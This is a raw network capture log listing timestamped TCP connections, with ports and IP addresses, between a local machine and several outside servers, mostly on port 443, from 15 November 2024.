Nov 15, 2024 11:23:47.341298103 CET	443	49762	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:47.341447115 CET	49762	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:47.507008076 CET	443	49765	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:47.507134914 CET	49765	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:52.315882921 CET	49711	80	192.168.2.16	69.42.215.252
Nov 15, 2024 11:23:52.316278934 CET	49760	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:52.316297054 CET	49761	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:52.316378117 CET	49765	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:52.316750050 CET	49762	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:36.535485983 CET	49768	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:36.535530090 CET	443	49768	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:36.535604954 CET	49768	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:36.538801908 CET	49768	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:36.538815975 CET	443	49768	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:36.563216925 CET	49769	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:36.563304901 CET	443	49769	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:36.563396931 CET	49769	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:36.563738108 CET	49769	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:36.563787937 CET	443	49769	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.393650055 CET	443	49768	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.393749952 CET	49768	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.394750118 CET	443	49768	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.394814014 CET	49768	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.399339914 CET	49768	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.399357080 CET	443	49768	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.399944067 CET	443	49768	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.400011063 CET	49768	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.402043104 CET	49768	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.417304993 CET	443	49769	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.417412996 CET	49769	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.420068979 CET	443	49769	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.420147896 CET	49769	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.421571016 CET	49769	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.421591997 CET	443	49769	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.421926975 CET	443	49769	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.422161102 CET	49769	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.422476053 CET	49769	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.447334051 CET	443	49768	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.463361979 CET	443	49769	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.485759974 CET	49771	80	192.168.2.16	69.42.215.252
Nov 15, 2024 11:24:37.490732908 CET	80	49771	69.42.215.252	192.168.2.16
Nov 15, 2024 11:24:37.490978956 CET	49771	80	192.168.2.16	69.42.215.252
Nov 15, 2024 11:24:37.490979910 CET	49771	80	192.168.2.16	69.42.215.252
Nov 15, 2024 11:24:37.496263027 CET	80	49771	69.42.215.252	192.168.2.16
Nov 15, 2024 11:24:37.755605936 CET	443	49768	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.755709887 CET	49768	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.755733013 CET	443	49768	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.755839109 CET	49768	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.755892038 CET	49768	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.755960941 CET	443	49768	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.756037951 CET	49768	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.756473064 CET	49772	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.756535053 CET	443	49772	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.756642103 CET	49772	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.756861925 CET	49772	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.756882906 CET	443	49772	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.758729935 CET	49773	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:37.758764982 CET	443	49773	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:37.758938074 CET	49773	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:37.759202957 CET	49773	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:37.759229898 CET	443	49773	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:37.780499935 CET	443	49769	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.780613899 CET	49769	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.780663967 CET	443	49769	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.780742884 CET	49769	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.780771971 CET	49769	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.780810118 CET	443	49769	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.780915976 CET	49769	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.781202078 CET	49774	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.781291008 CET	443	49774	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.781322956 CET	49775	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:37.781342030 CET	443	49775	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:37.781394958 CET	49774	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.781461000 CET	49775	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:37.781558990 CET	49774	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:37.781580925 CET	443	49774	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:37.781675100 CET	49775	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:37.781694889 CET	443	49775	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:38.184916973 CET	80	49771	69.42.215.252	192.168.2.16
Nov 15, 2024 11:24:38.185015917 CET	49771	80	192.168.2.16	69.42.215.252
Nov 15, 2024 11:24:38.610825062 CET	443	49772	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.610910892 CET	49772	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.611949921 CET	443	49772	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.612031937 CET	49772	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.613779068 CET	49772	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.613785028 CET	443	49772	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.614099979 CET	443	49772	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.614156961 CET	49772	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.614536047 CET	49772	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.643441916 CET	443	49773	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:38.643532038 CET	49773	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:38.648628950 CET	49773	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:38.648646116 CET	443	49773	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:38.649094105 CET	443	49773	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:38.649159908 CET	49773	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:38.649486065 CET	49773	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:38.650283098 CET	443	49775	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:38.650374889 CET	49775	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:38.650778055 CET	443	49774	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.650854111 CET	49774	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.651871920 CET	443	49774	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.651946068 CET	49774	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.653301001 CET	49774	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.653301001 CET	49775	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:38.653316975 CET	443	49774	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.653352022 CET	443	49775	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:38.653661966 CET	443	49774	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.653738022 CET	49774	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.653762102 CET	443	49775	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:38.653844118 CET	49775	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:38.654129982 CET	49774	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.654129982 CET	49775	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:38.655455112 CET	443	49772	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.691410065 CET	443	49773	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:38.695327997 CET	443	49774	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.699328899 CET	443	49775	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:38.975094080 CET	443	49772	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.975186110 CET	49772	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.975219011 CET	443	49772	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.975287914 CET	49772	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.975359917 CET	49772	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.975419044 CET	443	49772	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.975615025 CET	49772	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.975974083 CET	49777	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.976072073 CET	443	49777	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:38.976185083 CET	49777	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.976424932 CET	49777	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:38.976458073 CET	443	49777	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:39.409786940 CET	443	49774	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:39.411497116 CET	49774	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:39.411561012 CET	443	49774	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:39.414875031 CET	49774	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:39.416378021 CET	49774	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:39.416503906 CET	443	49774	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:39.416750908 CET	49774	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:39.418617010 CET	49778	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:39.418716908 CET	443	49778	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:39.418927908 CET	49778	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:39.431828976 CET	49778	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:39.431884050 CET	443	49778	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:39.528533936 CET	443	49775	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:39.528762102 CET	443	49775	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:39.528872013 CET	49775	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.528951883 CET	443	49775	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:39.529028893 CET	49775	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.536465883 CET	49775	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.536540031 CET	443	49775	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:39.536618948 CET	49775	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.537353039 CET	49779	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.537401915 CET	443	49779	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:39.537679911 CET	49779	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.537902117 CET	49779	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.537916899 CET	443	49779	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:39.688405037 CET	443	49773	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:39.688644886 CET	443	49773	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:39.688747883 CET	49773	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.688812971 CET	443	49773	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:39.688997030 CET	49773	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.689570904 CET	49773	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.689630985 CET	443	49773	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:39.689707041 CET	49773	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.690088034 CET	49780	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.690159082 CET	443	49780	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:39.690274000 CET	49780	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.690490007 CET	49780	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:39.690512896 CET	443	49780	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:39.810830116 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:39.810899973 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:39.810996056 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:39.811336040 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:39.811352968 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:39.835427999 CET	443	49777	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:39.835555077 CET	49777	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:39.836514950 CET	443	49777	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:39.836587906 CET	49777	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:39.840462923 CET	49777	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:39.840490103 CET	443	49777	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:39.841005087 CET	443	49777	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:39.841078997 CET	49777	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:39.841510057 CET	49777	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:39.883347988 CET	443	49777	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.200953007 CET	443	49777	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.201128006 CET	49777	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.201159000 CET	443	49777	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.201262951 CET	49777	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.201338053 CET	49777	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.201396942 CET	443	49777	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.201472998 CET	49777	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.202083111 CET	49782	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.202176094 CET	443	49782	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.202287912 CET	49782	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.202620029 CET	49782	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.202649117 CET	443	49782	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.295650959 CET	443	49778	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.295782089 CET	49778	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.296727896 CET	443	49778	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.296794891 CET	49778	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.299396992 CET	49778	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.299420118 CET	443	49778	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.299782038 CET	443	49778	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.299856901 CET	49778	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.300312996 CET	49778	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.343346119 CET	443	49778	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.382595062 CET	443	49779	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:40.382733107 CET	49779	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:40.387358904 CET	49779	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:40.387408018 CET	443	49779	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:40.388154030 CET	443	49779	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:40.388350010 CET	49779	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:40.388791084 CET	49779	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:40.435338974 CET	443	49779	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:40.531570911 CET	443	49780	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:40.531795025 CET	49780	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:40.533458948 CET	49780	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:40.533485889 CET	443	49780	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:40.533855915 CET	443	49780	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:40.533915043 CET	49780	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:40.534410000 CET	49780	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:40.544842958 CET	49782	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.544864893 CET	49778	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.544904947 CET	49779	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:40.544998884 CET	49780	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:40.556026936 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:40.556227922 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:40.557569027 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:40.557621956 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:40.558371067 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:40.559629917 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:40.603348017 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:40.644965887 CET	49784	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.645001888 CET	443	49784	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.645067930 CET	49784	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.645319939 CET	49785	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:40.645327091 CET	443	49785	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:40.645378113 CET	49785	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:40.645580053 CET	49784	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.645591021 CET	443	49784	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.645704985 CET	49785	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:40.645714998 CET	443	49785	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:40.646217108 CET	49786	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.646224022 CET	443	49786	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.646267891 CET	49786	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.646409988 CET	49786	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:40.646424055 CET	443	49786	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:40.806065083 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:40.806133032 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:40.806175947 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:40.806348085 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:40.806385040 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:40.806437016 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:40.806437016 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:40.924062967 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:40.924102068 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:40.924282074 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:40.924282074 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:40.924319983 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:40.924575090 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.040901899 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.040930986 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.041023016 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.041093111 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.041136026 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.041157961 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.158970118 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.159007072 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.159107924 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.159109116 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.159173965 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.159255028 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.275770903 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.275804043 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.275881052 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.275914907 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.275938988 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.275963068 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.392803907 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.392837048 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.392894030 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.392916918 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.392934084 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.392957926 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.497709036 CET	443	49785	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:41.497781038 CET	49785	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.498336077 CET	49785	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.498343945 CET	443	49785	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:41.498565912 CET	49785	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.498570919 CET	443	49785	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:41.509622097 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.509651899 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.509743929 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.509812117 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.509886026 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.509886026 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.510792971 CET	443	49784	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.510860920 CET	49784	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.511337042 CET	49784	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.511339903 CET	443	49784	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.512962103 CET	49784	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.512965918 CET	443	49784	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.521882057 CET	443	49786	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.521944046 CET	49786	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.522253036 CET	49786	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.522257090 CET	443	49786	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.522437096 CET	49786	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.522442102 CET	443	49786	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.627163887 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.627230883 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.627281904 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.627372026 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.627420902 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.627444983 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.673623085 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.673656940 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.673700094 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.673712969 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.673732042 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.673748970 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.749588013 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.749610901 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.749670982 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.749680042 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.749706984 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.749727964 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.863177061 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.863209009 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.863301992 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.863337994 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.863382101 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.879836082 CET	443	49784	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.879904032 CET	49784	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.879914999 CET	443	49784	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.879956961 CET	49784	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.880052090 CET	49784	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.880079985 CET	443	49784	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.880121946 CET	49784	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.880775928 CET	49789	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.880812883 CET	443	49789	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:41.880897999 CET	49789	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.881156921 CET	49789	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.881166935 CET	443	49789	142.250.185.65	192.168.2.16
